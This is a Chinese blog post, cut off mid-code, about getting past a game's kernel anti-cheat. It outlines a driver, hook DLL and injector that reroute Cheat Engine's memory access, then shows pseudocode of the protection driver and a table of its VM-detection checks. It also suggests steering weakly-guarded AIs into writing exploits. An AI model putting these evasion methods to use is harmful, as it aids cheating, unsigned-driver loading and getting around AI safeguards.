驱动保护绕过新姿势

这篇是为了回应:驱动obcallback反附加的一次尝试【Second_BC の BloG】 的最新的解决方法;

隔了一年没更新是因为忙事情去了(

之前我们提到过,使用OB回调的方法进行进程打开时的修改操作的这种方法,非常不稳定,会掉线,附加会脱落;

目前的版本也不支持这种姿势绕过了,一进入游戏进程就会直接被检测到异常,弹窗报错然后直接游戏进程死掉;

同时之前的劫持驱动文件的方法非常的不优雅,而且目前版本也不支持这种低级绕过姿势;

针对这些个问题有了今天的这个补充篇;

环境和时间铺垫:

最新测试结果可行,时间节点为 2026.7.30 以前,往后没有进行过测试,不保证该方法仍然有效;

测试平台为 win10 旗舰版,win11肯定干不起,除非你能在win11上把过期签名的驱动跑起来,或者其他手段能给win11签名绕过或者正版签名;

最好不要使用虚拟机,现在的版本对虚拟机有检测,除非你有信息能绕过虚拟机检测;

由于过去了一段时间我才开始写这篇内容,所以有些实验结论我就直接给了,实验作证截图确实是找不到了(

初步实验猜想

第一处疑点

之前的篇子里提到过,保护驱动主要做的事情进行降权,降权是什么意思呢,如何降的呢?

降权的本质是在保护驱动开启的OB回调里面,检测当每次打开的进程是目标游戏进程的时候,就会让打开句柄的权限降低;

主要就是把可写的权限位给抹除了;

举个例子,当你编写程序使用 OpenProcess API 的时候,第一个参数一般我们会填入 PROCESS_ALL_ACCESS ,意思是以可读可写的方式打开这个文件或者进程句柄;

但经过我的测试,使用R3编程的控制台程序,直接打开这个游戏的进程句柄,返回的句柄通过 NtQueryObject 查询句柄访问权限的掩码,可以发现读写的权限都被抹除了;

这就是为什么使用CE打开进程后,地址出现问号,进程图标加载不出来的原因,因为CE也是使用 OpenProcess 这个API打开进程句柄,并通过后续的一系列API对句柄进行使用以读取内存地址,查询地址空间等操作,比如:ReadProcessMemory,WriteProcessMemory,等;

之前那个篇子中使用的思路是我们自己也写一组OB回调,分别放在OB回调的开始和结束(用优先级设定),针对目标游戏进程句柄的权限进行恢复操作,在这样的一个恢复过程后,CE确实能够看到进程图标,并且能够访问内存空间,这本身没有问题;但保护驱动做了什么措施,导致这样的姿势绕过以后会被检测到,导致游戏死掉;

我推测是保护驱动或者是游戏模块内某块区域持续检查(或者称呼为管理)目标进程被打开的句柄;检查这些被打开的句柄的权限是否异常,如果异常,就杀掉游戏进程,所以我们不能想着去改动打开的游戏进程句柄的权限了;(目前的版本就算使用SYSTEM级权限的CE也会报错闪退,或者根本打不开)

第二处疑点

我使用 PChunter 这玩意儿对游戏进程进行模块查看,发现能够正常返回游戏的每一个模块的基址,我就很好奇,为什么 PChunter 能看到被限制权限的游戏进程的模块基址,而CE不行;

同时,用 PChunter 访问了游戏进程的模块基址后,游戏并没有出现异常或者报错,或者闪退,非常稳定;

于是我开始思考他们两者的差异,即:

PChunter 会挂载驱动,它应该是通过驱动内的手段进行的内核级别的内存扫描;

而CE这东西,直接就是用的R3下的OpenProcess和其他API来操作的,这肯定会受限制;

思路

所以有了想法,即不改变CE打开游戏进程句柄的逻辑,但是改变CE读内存和写内存的逻辑;

至于调试器会不会受影响,我的答案是肯定会,但是我们仍然有CE的dbvm可以用,dbvm调试模式也是走的驱动层面,这条路可行;

由于我们只改变了内存读写逻辑,而没给操作的进程句柄提权;所以线程级操作肯定干不起,比如调试中的线程断点是没有效果的,但是仍然可以选择使用dbvm调试,打断点到对应位置,依旧会正常停下;

结论

这种思路打开了局面,经过我的测试,虽然CE的某些功能受到了限制,但是我们的主要操作已经绕过了,大部分的逆向操作都能直接进行工作,比如:扫描内存,扫描指针,查找是什么访问/改写了这个地址,打断点,单步调试,dump内存等等;这些操作不会触发反调试(因为使用了dbvm),也不会触发异常报错(没有动核心检测点:句柄);

经过我的测试我可以得出一个很明显的结论:这款游戏的保护模块根本没有强检测CE这个程序(但是检测了虚拟机),它并不像腾讯的一些驱动保护会查CE进程的特征;它也没有设置很多内核钩子去监控比如驱动链表,异常驱动模块,驱动回调,你建的异常OB回调等等;有反调试,但对于dbvm的CE来说相当于没有;主要还是针对于自身模块和句柄的权限维持;

接下来就是我写的源代码了,总共有三个模块:

一个是SYS驱动模块,主要是实现内核级内存查询,内存写,内存读;

第二个是DLL模块,用于进行和驱动设备的交互,接口的作用,把CE函数调用约定给到驱动,再由驱动返回CE函数应该得到的返回结果;并在附加到CE进程后对CE的关键函数进行HOOK,替换为这些接口函数,使CE每次调用关键函数走驱动实现;

第三个就是注入器了,把编译好的DLL注入到CE进程,改变CE的执行逻辑,使其绕过检测,正常工作;

值得说明的是,如果游戏的保护驱动检测力度更狠,比如检测到了我上面提到的一些内核级的内容;那么就要考虑其他绕过姿势了,详见:驱动设备引入-Windows驱动编程二【Second_BC の BloG】 ;

三个模块是让 AI 辅助去写的,风格不像之前一样保留大多数注释,但是思路就是上述提到的三个模块的设计思路;

虽然AI时代,AI确实能够代替老时代的残党进行大量的脑力工作和枯燥的逆向过程和漏洞挖掘过程,极大优化分析时间(CTF已死);但是这些绕过思路,对抗思路,长时间内,是AI不可能告诉你的,也是风控严格的AI不会去做的;除非你很吊,非常有刀,自己训练一个属于自己的还算聪明的大模型语言,那我没话说了,你随意;或者使用 agent 阵列组或者设计 harness 控制一些风控较低的但是笨的AI,让高级别的更聪明的AI给他们布置任务和写提示词来实现思路的产生或是exp的编写,也行;

所以往后的学习道路,Agent 是肯定躲不过去的,必须学的内容;老时代的课程也得看,还是得让自己变得更有思路才行;

最后附有上述仅凭外部测试通过的源码;

接下来是一些关于保护驱动的逆向结果,为什么之前没逆向?之前谁能手逆VMP我叫他逆向爷爷,现在 AI 是我爹,都能直接把 VMP 还原成idb可识别的伪代码,太伟大了;

逆向分析结果很有价值,解释了几个问题,也说明了虚拟化检测的一种途径;

针对目前的逆向分析结果还没什么有想法的思路进行绕过,只能说学的东西还多,记的东西也还多;

内部驱动模块逆向分析

这次分析的驱动模块的版本的对应的时间就是这篇内容更新的时间,各位可以参考;

接下来我会选择放 AI 识别的伪代码,因为IDA里全是VM混淆的内容;

初始化入口

在上篇其实我们已经看过驱动入口的样子了,里面被我改名为 true_entry的函数,实际上是一个受保护的初始化函数,新名称我叫他为:VMPcodeEntry1 ,AI 爹还原的伪代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
NTSTATUS __fastcall VMPcodeEntry1(
PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath)
{
NTSTATUS v2; // 当前步骤的返回状态;失败尾部最终返回此值。
_QWORD *v3; // 处理表管理对象;内部包含两个容器指针。
ULONG MajorVersion;
ULONG MinorVersion;
ULONG BuildNumber;

/* 当前已分析的 sub_1400455C0 实现返回 0;此处忽略返回值。
* 不据此为它附加尚未证实的业务含义,保留原调用。
*/
sub_1400455C0(0);
/* 日志对象相关的一次性初始化标志:只检查最低位。
* 先置位,再通过 sub_140045520 登记清理回调;其登记结果未检查。
* sub_140045520 使用链表保存回调,失败尾部的 sub_140045570 执行该链。
* 这里没有显式锁或原子比较交换,不应把这个标志解释成线程同步机制。
*/
if ( (dword_14009817C & 1) == 0 )
{
dword_14009817C |= 1u;
sub_140045520((__int64)nullsub_24);
}
// LastState:阶段 100,表示本次入口初始化开始;不检查日志操作是否成功。
sub_140018C80(&unk_140098178, RegistryPath, 100);

/* sub_140013510:获取/按需构造全局上下文(已定位到 0x140094850)。
* sub_140013620:以该上下文为第一个参数执行入口相关初始化。
* 已确认的内部效果:
* ctx + 0x220:保存 DriverObject;
* ctx + 0x238、ctx + 0x250:初始化两个 NotificationEvent,初始未触发;
* ctx + 0x210:初始化保存注册表路径的内部对象,复制 RegistryPath。
* 后续 LoadTime/UnLoadTime 操作使用内部保存的路径缓冲区。
*/
v2 = sub_140013620(sub_140013510(), DriverObject, RegistryPath);
// 按有符号 32 位 NTSTATUS 判断失败;非负状态继续执行。
if ( v2 < 0 )
{
// 上下文/路径初始化失败:记录原错误;公共尾部保留 v2,不改成固定错误码。
sub_140018BB0(&unk_140098178, RegistryPath, 106, v2);
goto LABEL_FAILURE;
}
/* 第二参数为 0:选择 LoadTime。
* 子函数先检查内部保存的路径缓冲区是否存在,再取得时间并更新注册表。
* 记录时间失败不会使本入口立即失败,因为这里没有检查其返回值。
*/
sub_140018C20((__int64)&unk_140098178, 0);

/* sub_14001ADE0:获取/按需构造内核信息对象(0x140095BE0)。
* sub_140018480:初始化/检查内核映像信息,包括已观察到的模块查询与映像检查。
* 关键:这里仅测试返回寄存器 AL,即最低 8 位,不能按 NTSTATUS 判断。
* 例如返回 0x100 时 AL 为 0,仍进入失败分支;高位是否非零无关。
*/
if ( !(unsigned __int8)sub_140018480(sub_14001ADE0()) )
{
sub_140018BB0(&unk_140098178, RegistryPath, 101, 0);
// 日志的 status 参数是上面的 0;入口返回值另行设为 0xC0000355。
v2 = 0xC0000355;
goto LABEL_FAILURE;
}
/* 获取系统版本;第四参数为空,不请求 CSD 字符串。
* 本入口使用三个输出值,不检查 PsGetVersion 的返回值。
* 以下 qword 名称来自 IDA 数据定义;实际按两个相邻 DWORD 存储字段,
* 不应把这些赋值理解为对同一个 64 位计数器做运算。
*/
PsGetVersion(&MajorVersion, &MinorVersion, &BuildNumber, 0);
LODWORD(qword_140095C38) = MajorVersion; // 0x140095C38:主版本。
HIDWORD(qword_140095C38) = MinorVersion; // 0x140095C3C:次版本。
LODWORD(qword_140095BE0) = BuildNumber; // 0x140095BE0:系统 Build。
HIDWORD(qword_140095BE0) = 10 * MajorVersion + MinorVersion; // 例如 6.3 -> 63,10.0 -> 100。

/* 获取处理表管理对象(0x1400946E0),再创建其两个容器。
* getter 的一次性构造与 sub_140011D50 的容器初始化是两个不同步骤。
*/
v3 = (_QWORD *)sub_14003BA90();
v2 = sub_140011D50(v3);
// 按有符号 32 位 NTSTATUS 判断失败;非负状态继续执行。
if ( v2 < 0 )
{
// 处理表初始化失败。这里没有显式调用 sub_140011DD0,直接走公共清理。
sub_140018BB0(&unk_140098178, RegistryPath, 102, v2);
goto LABEL_FAILURE;
}

/* 按原始执行顺序登记 54 个处理项,供后续配置处理使用。
* 参数恢复:
* a1 = v3:表管理对象;
* a2 = sub_xxx:实际处理函数地址;
* a3 = 32 位 ID:该项的查找标识;
* a4 = 0:登记项中的附加参数,本入口固定为零,具体业务语义未确认;
* a5 = 1:控制参数,本入口固定为一;完整枚举含义未确认。
* 在 x64 调用中 a5 位于栈上,漏掉它会改变登记行为。
* 已通过原始堆内容核对回调、ID 和其余字段。
*
* 0x140011F80 是完整登记入口;0x140011E30 只是内部使用的查找函数。
* 这些调用都忽略返回值:某项登记失败不会在本函数中立即触发错误分支。
* 目前只确认 ID 与函数的对应关系,不能直接把这些 ID 当作 IOCTL,
* 也不能仅凭常量值断言其哈希算法或把各回调命名为具体恶意功能。
* 行末序号仅用于核对原始顺序,不是程序参数。
*/
sub_140011F80(v3, sub_14003B4A0, 0x3F4F91DCu, 0, 1); // 登记项 01/54
sub_140011F80(v3, sub_14003B440, 0xAE84343Au, 0, 1); // 登记项 02/54
sub_140011F80(v3, sub_14003B3E0, 0x891431ABu, 0, 1); // 登记项 03/54
sub_140011F80(v3, sub_14003B640, 0xAE847396u, 0, 1); // 登记项 04/54
sub_140011F80(v3, sub_14003B310, 0x4BAE93B2u, 0, 1); // 登记项 05/54
sub_140011F80(v3, sub_14003AB30, 0x2F8E58DFu, 0, 1); // 登记项 06/54
sub_140011F80(v3, sub_14003A2E0, 0xE5FD96E7u, 0, 1); // 登记项 07/54
sub_140011F80(v3, sub_14003A050, 0x23726080u, 0, 1); // 登记项 08/54
sub_140011F80(v3, sub_14003A0E0, 0x6CA21C08u, 0, 1); // 登记项 09/54
sub_140011F80(v3, sub_14003A140, 0x7F1217F4u, 0, 1); // 登记项 10/54
sub_140011F80(v3, sub_140039FF0, 0xB1BA11C0u, 0, 1); // 登记项 11/54
sub_140011F80(v3, sub_14003A280, 0xA9E723C1u, 0, 1); // 登记项 12/54
sub_140011F80(v3, sub_14003AD10, 0x91BED27Cu, 0, 1); // 登记项 13/54
sub_140011F80(v3, sub_14003B570, 0xEED943E4u, 0, 1); // 登记项 14/54
sub_140011F80(v3, sub_14003A440, 0xF01DF74Au, 0, 1); // 登记项 15/54
sub_140011F80(v3, sub_14003A4A0, 0xC68AFD95u, 0, 1); // 登记项 16/54
sub_140011F80(v3, sub_14003A210, 0xF23F5DE0u, 0, 1); // 登记项 17/54
sub_140011F80(v3, sub_14003B1D0, 0x370F5935u, 0, 1); // 登记项 18/54
sub_140011F80(v3, sub_14003A820, 0x2E437CE7u, 0, 1); // 登记项 19/54
sub_140011F80(v3, sub_14003A660, 0xFF32D6D5u, 0, 1); // 登记项 20/54
sub_140011F80(v3, sub_14003AD70, 0x34FD9C3Eu, 0, 1); // 登记项 21/54
sub_140011F80(v3, sub_14003A6D0, 0x8BF9FD78u, 0, 1); // 登记项 22/54
sub_140011F80(v3, sub_14003A740, 0xE4B5E2F3u, 0, 1); // 登记项 23/54
sub_140011F80(v3, sub_14003B5D0, 0x4A5B07F5u, 0, 1); // 登记项 24/54
sub_140011F80(v3, sub_14003A900, 0x1381D5E6u, 0, 1); // 登记项 25/54
sub_140011F80(v3, sub_14003B0F0, 0xD43588A8u, 0, 1); // 登记项 26/54
sub_140011F80(v3, sub_14003B160, 0x07E376E2u, 0, 1); // 登记项 27/54
sub_140011F80(v3, sub_14003A890, 0xB39D8A0Eu, 0, 1); // 登记项 28/54
sub_140011F80(v3, sub_14003A7B0, 0x49C9F49Du, 0, 1); // 登记项 29/54
sub_140011F80(v3, sub_14003A5F0, 0xD2CE7AB9u, 0, 1); // 登记项 30/54
sub_140011F80(v3, sub_14003B230, 0x9A30844Au, 0, 1); // 登记项 31/54
sub_140011F80(v3, sub_14003A580, 0x2D7D53ADu, 0, 1); // 登记项 32/54
sub_140011F80(v3, sub_14003B500, 0xB76059B9u, 0, 1); // 登记项 33/54
sub_140011F80(v3, sub_14003A9E0, 0xEF8ADD55u, 0, 1); // 登记项 34/54
sub_140011F80(v3, sub_14003AA50, 0x879B385Cu, 0, 1); // 登记项 35/54
sub_140011F80(v3, sub_14003A510, 0x732AC124u, 0, 1); // 登记项 36/54
sub_140011F80(v3, sub_14003AAC0, 0x340928F0u, 0, 1); // 登记项 37/54
sub_140011F80(v3, sub_14003B2A0, 0xEE3119EDu, 0, 1); // 登记项 38/54
sub_140011F80(v3, sub_14003AC30, 0xA22920EBu, 0, 1); // 登记项 39/54
sub_140011F80(v3, sub_14003ACA0, 0x08140C91u, 0, 1); // 登记项 40/54
sub_140011F80(v3, sub_14003B010, 0xCE95CE43u, 0, 1); // 登记项 41/54
sub_140011F80(v3, sub_14003ABC0, 0x17E29E90u, 0, 1); // 登记项 42/54
sub_140011F80(v3, sub_14003B370, 0x444C46F1u, 0, 1); // 登记项 43/54
sub_140011F80(v3, sub_14003A3D0, 0x6938CF1Cu, 0, 1); // 登记项 44/54
sub_140011F80(v3, sub_14003A390, 0x9C5A573Bu, 0, 1); // 登记项 45/54
sub_140011F80(v3, sub_14003A350, 0x4E91A762u, 0, 1); // 登记项 46/54
sub_140011F80(v3, sub_14003A970, 0x9E5470ABu, 0, 1); // 登记项 47/54
sub_140011F80(v3, sub_14003B080, 0xA1D0B8C4u, 0, 1); // 登记项 48/54
sub_140011F80(v3, sub_14003ADE0, 0x6C62B11Bu, 0, 1); // 登记项 49/54
sub_140011F80(v3, sub_14003AFA0, 0x03A96E6Cu, 0, 1); // 登记项 50/54
sub_140011F80(v3, sub_14003AF30, 0x1F13E498u, 0, 1); // 登记项 51/54
sub_140011F80(v3, sub_14003AEC0, 0x32ED9C4Bu, 0, 1); // 登记项 52/54
sub_140011F80(v3, sub_14003AE50, 0xAE24A70Bu, 0, 1); // 登记项 53/54
sub_140011F80(v3, sub_14003A1A0, 0x4E63099Fu, 0, 1); // 登记项 54/54

/* 所有处理函数登记后,才开始读取、处理服务键中的 ConfigData。
* 实参仍是 UNICODE_STRING 结构指针,不能改为 RegistryPath->Buffer。
* 配置格式、各处理项的业务规则属于该子函数及其回调的内部逻辑。
*/
v2 = sub_1400124C0(RegistryPath);
// 按有符号 32 位 NTSTATUS 判断失败;非负状态继续执行。
if ( v2 < 0 )
{
sub_140011DD0(sub_14003BA90());
// 上一调用销毁处理表的两个容器;随后记录配置错误,传播原始状态。
sub_140018BB0(&unk_140098178, RegistryPath, 103, v2);
goto LABEL_FAILURE;
}

/* 配置处理成功后创建本驱动的设备与 DOS 符号链接。
* 已观察到该子函数调用 IoCreateDevice、IoCreateSymbolicLink,
* 并初始化设备扩展及相关资源。设备扩展大小为 0x200。
* 名称构造涉及配置;空配置模拟中看到的路径前缀不代表真实完整设备名。
* 派遣回调在该调用成功之后才安装,见后续 DriverObject 赋值。
*/
v2 = sub_140013300(sub_140013510(), DriverObject);
// 按有符号 32 位 NTSTATUS 判断失败;非负状态继续执行。
if ( v2 < 0 )
{
sub_140030330(sub_14002F320());
sub_140011DD0(sub_14003BA90());
// 此分支先清理 sub_14002F320 返回的对象,再销毁处理表;记录设备错误。
sub_140018BB0(&unk_140098178, RegistryPath, 104, v2);
goto LABEL_FAILURE;
}

/* 安装 IRP 派遣入口;此处赋值只登记地址,不立即执行处理函数。
* 下列偏移是当前 x64 DRIVER_OBJECT 布局下相对于 DriverObject 的偏移。
*/
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_14003B6F0; // +0x70,IRP_MJ_CREATE:打开设备。
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_14003B670; // +0x80,IRP_MJ_CLOSE:关闭设备。
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_14003B8C0; // +0xE0,IRP_MJ_DEVICE_CONTROL:设备控制请求。 NtDeviceIoControlFile
DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload; // +0x68,卸载回调;不是 0x140001040 的外层 WDF 包装。

/* 获取/按需初始化包含 40 个 DWORD 的全局常量表,并登记相关清理回调。
* 原入口中的对应内联初始化,在伪代码中用这个现存等价 getter 表达。
* 返回指针在此处未使用;调用目的在于其初始化副作用。
*/
sub_140013BD0();
/* 后续初始化对象 0x140098170 的一次性构造及清理登记。
* 已分析的 sub_14001DED0 实现仅返回传入指针;不要将实际子系统启动
* 归因于这一步,真正的初始化调用是下面的 sub_14001DF70。
*/
if ( (dword_140098174 & 1) == 0 )
{
dword_140098174 |= 1u;
sub_14001DED0(&unk_140098170);
sub_140045520((__int64)sub_140047C90);
}

/* 启动后续子系统初始化。调用方只根据 NTSTATUS 决定成功或回滚。
* 该子函数内部包含更多初始化/清理;本文件不将尚未逐项确认的内部操作
* 概括成隐藏、注入、绕过等具体行为。
*/ //core
v2 = next_init(&unk_140098170);


// 按有符号 32 位 NTSTATUS 判断失败;非负状态继续执行。
if ( v2 < 0 )
{
sub_140030330(sub_14002F320());
// 前一步清理另一个全局对象;本步继续清理驱动上下文。
// 第二参数原值为十进制 10000(0x2710),未确认单位,不擅自标为毫秒。
sub_140013AD0(sub_140013510(), 10000);
sub_140018BB0(&unk_140098178, RegistryPath, 105, v2);
// 先将原始错误 v2 记入 LastStatus,再将对调用者的返回值改为固定值。
// 因此日志中的错误码与本入口最终返回码可能不同。
v2 = 0xC0000142;
goto LABEL_FAILURE;
}

// 所有受检查步骤均通过:LastState 阶段 102,随后返回成功。
// 此路径保留已建立的设备、派遣入口和运行所需状态,供后续请求使用。
sub_140018C80(&unk_140098178, RegistryPath, 102);
return 0;

/* 六类失败最终汇合到此处。不同分支在跳转前完成各自额外清理。
* 这里不能无条件补上处理表销毁或设备销毁:应保留原始路径的清理顺序,
* 同时区分本函数的显式清理与被调用函数内部已经执行的回滚。
*/
LABEL_FAILURE:
sub_140018C80(&unk_140098178, RegistryPath, 101); // LastState:本次初始化失败。
// 第二参数为 1:选择 UnLoadTime。内部路径缓冲区不存在时不会执行相同的注册表更新。
sub_140018C20((__int64)&unk_140098178, 1);
// 清理上下文:已确认将 ctx + 0x268 的 DWORD 清零,并释放 ctx + 0x210 的路径对象。
// 不应把它直接解释为释放整个全局上下文对象。
sub_140013A50(sub_140013510());
// 遍历先前登记的清理回调链,调用回调并释放链表节点。
// 登记采用头插,遍历从表头开始,因此回调按登记的逆序执行。
sub_140045570();
return v2; // 原始失败状态,或前面明确映射的 0xC0000355 / 0xC0000142。
}

里面做了一些大量的初始化,但实际上有意义的地方是 三个驱动回调,和next_init函数;

next_init函数后续被确定为业务初始化函数,在这个函数里就注册了我们之前在PChunter里发现的4个OB回调,3个系统回调,还创建了一个系统线程;

三个驱动回调

驱动回调还原的伪代码框架如下所示,需要提一嘴的是,创建和关闭回调没什么值得注意的;

但是控制回调,他做了一些事情:

  • 添加受保护线程和进程到对应管理表,后续OB模块和其他模块可能使用到;
  • 打开目标进程并终止(很可能检测到异常后对目标游戏进程杀死)
  • 遍历指定进程的句柄,对指向受保护进程及其线程的句柄降权(和我们之前外部的推测相匹配,算是之前绕过姿势的一个补丁)
  • 还会统计鼠标频率
  • 拥有虚拟机检测功能(和外部实验相呼应)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// 0x14003B6F0
NTSTATUS __fastcall CreateCallback(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS Status;
unsigned __int64 v4;
_OWORD v5;
PEPROCESS Process;
__int64 Manager;
__int64 Context;
bool Created;

Status = 0;
Irp->IoStatus.Information = 0;
if ( ExGetPreviousMode() )
{
v4 = 0;
v5 = 0;
if ( !(unsigned __int8)sub_140012CC0(&v4, &v5) )
{
Status = (NTSTATUS)0x80000016;
goto COMPLETE;
}

Process = IoGetCurrentProcess();
Manager = sub_1400135D0();
Context = sub_1400194C0(Manager, Process, DeviceObject);
Created = false;
if ( !Context )
{
Process = IoGetCurrentProcess();
Context = sub_140018DF0(
Manager, Process, &v5, v4, &Status, DeviceObject);
if ( !Context )
goto COMPLETE;
Created = true;
}

Status = sub_14001A3F0(
sub_140035390(), Irp->Tail.Overlay.OriginalFileObject);
if ( Status )
{
if ( Created )
{
Process = IoGetCurrentProcess();
sub_140018F20(sub_1400135D0(), Process);
}
}
else
{
Process = IoGetCurrentProcess();
sub_140029F70(sub_14001DEF0(), Process);
}
}

COMPLETE:
Irp->IoStatus.Status = Status;
IofCompleteRequest(Irp, 0);
return Status;
}

// 0x14003B670
NTSTATUS __fastcall CloseCallback(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
ExGetPreviousMode();
sub_14001A530(
sub_140035390(), Irp->Tail.Overlay.OriginalFileObject);
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = 0;
IofCompleteRequest(Irp, 0);
return 0;
}

// 0x14003B8C0
NTSTATUS __fastcall ControlCallback(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION Stack;
NTSTATUS Status;

Stack = Irp->Tail.Overlay.CurrentStackLocation;
if ( (dword_140098184 & 1) == 0 )
{
dword_140098184 |= 1u;
sub_140013BB0(&unk_140098180);
sub_140045520(sub_140047CB0);
}

Status = sub_140013D80(&unk_140098180, DeviceObject, Irp, Stack);
if ( Status )
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = Status;
IofCompleteRequest(Irp, 0);
return Status;
}

next_init函数我就不放出来了,它实际上就是在初始化上述提到的7个回调,同时在最后还开启了一个系统线程;

虚拟化检测

我对它的虚拟化检测技术很好奇,进行了AI逆向,得出了如下的表;

检测手段中不存在匹配 VMware 等其他厂商字符串的手段;

其中,控制命令有三类,代表三种入口,可以不用理会,输出位也可以不用理会,主要是查看它的虚拟化检测手段:

控制命令 输出位/结果 检测手段 具体判定逻辑
0x80002034 0x1 CPUID Hypervisor 标志 CPUID(1).ECX 第 31 位为 1,则命中。
0x80002034 0x2 特殊 CPUID 叶比较 CPUID(0x13371337) 与 CPUID(0x40000000) 的 EAX、EBX、ECX、EDX 任意不同,则命中;不匹配厂商名称。
0x80002034 0x4 虚拟化 MSR 范围探测 遍历读取 MSR 0x40000000~0x400000FF,任意一次读取不触发异常,则命中。
0x80002034 0x8 CPU 能力与实际行为一致性检查 CPUID(6).ECX[0] 为 0,但 MSR 0xE7/0xE8 至少一个可读,则命中。
0x80002034 0x20 CR4.VMXE 检查 CR4 第 13 位为 1,则命中;只能说明 VMX 使能状态,不能独立证明处于虚拟机中。
0x80002034 0x40 TSC 测量 CPUID 耗时 关中断,以 LFENCE/RDTSC 测量 CPUID(0) 共 10 次;出现负差值,或最小差值大于 500,则命中。
0x80002034 0x80 APERF 测量 CPUID 耗时 要求 CPUID(6).ECX[0] 为 1;用 MSR 0xE8 测量 10 次,出现负差值或最小值不在 [11,500],则命中;异常提前结束后仍比较已保存的最小值。
0x80002034 0x100000 固定性能计数器测量 配置 MSR 0x38D/0x38F,用 MSR 0x30B 测量 10 次;负差值或最小值大于 500,则命中;异常返回 0。
0x80002034 0x200000 非法 XCR 编号测试 读取 XCR0 后尝试 XSETBV(0x45, 原XCR0值);不触发异常,则命中。
0x80002034 0x400000 不支持的 XCR0 位测试 根据 CPUID(0xD,0),逐个尝试设置不支持的 XCR0 位;设置成功,或异常后发现 XCR0 被改变,则命中并尝试恢复。
0x80002034 0x10、0x100、0x200 占位检测 对应函数直接返回 0,没有实质检测。 (意思是这条不用管)
0x80002035 类别 1 单步检测入口执行去向 对 NtWaitForDebugEvent、NtDebugActiveProcess 临时接管 #DB 并设置 TF,获取第一条指令执行后的 RIP;其低 32 位与“入口低 32 位+指令长度”不同,则命中。受配置及 Driver Verifier 门控影响,可能跳过。
0x80002035 类别 2 修改代码后验证执行结果 对上述两个目标保存入口 8 字节,把前 6 字节改成 mov eax,77777777h; ret,调用后恢复;返回值不等于 0x77777777,则命中。用于检查可读写代码与实际执行是否一致,不能单独确定为 EPT 隐藏钩子。
0x80002035 结果控制 两种代码一致性检测的组合 Mask bit0 启用单步检测,bit1 启用改码检测;类别 1 命中即结束,类别 2 不再执行。结果不是 OR 位图;接口解析失败不报告阳性。核心机制已识别,部分受保护边界及失败路径尚未完全核验。
0x80002036 状态 0/1/2/3 VMCALL 可执行性探测 先尝试参数 0x10F2C00,成功记 2;异常后尝试 0x4D3,成功记 3;均异常保持 0。最后尝试 0xFFFFFFFF,成功则把已有非零状态归一为 1,异常保留原状态;不校验响应内容或识别厂商。

下面我们给出七个系统回调;

七个系统回调

七个回调这里只给出框架,具体业务逻辑省略,不过我会口头叙述它们的业务逻辑;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
OB_PREOP_CALLBACK_STATUS __fastcall OBProcessFirst(
void *RegistrationContext, POB_PRE_OPERATION_INFORMATION Information)
{
_BYTE *manager = (_BYTE *)RegistrationContext;
_QWORD contexts[32];
_QWORD policyResult;
int count;
unsigned __int8 apcsDisabled;
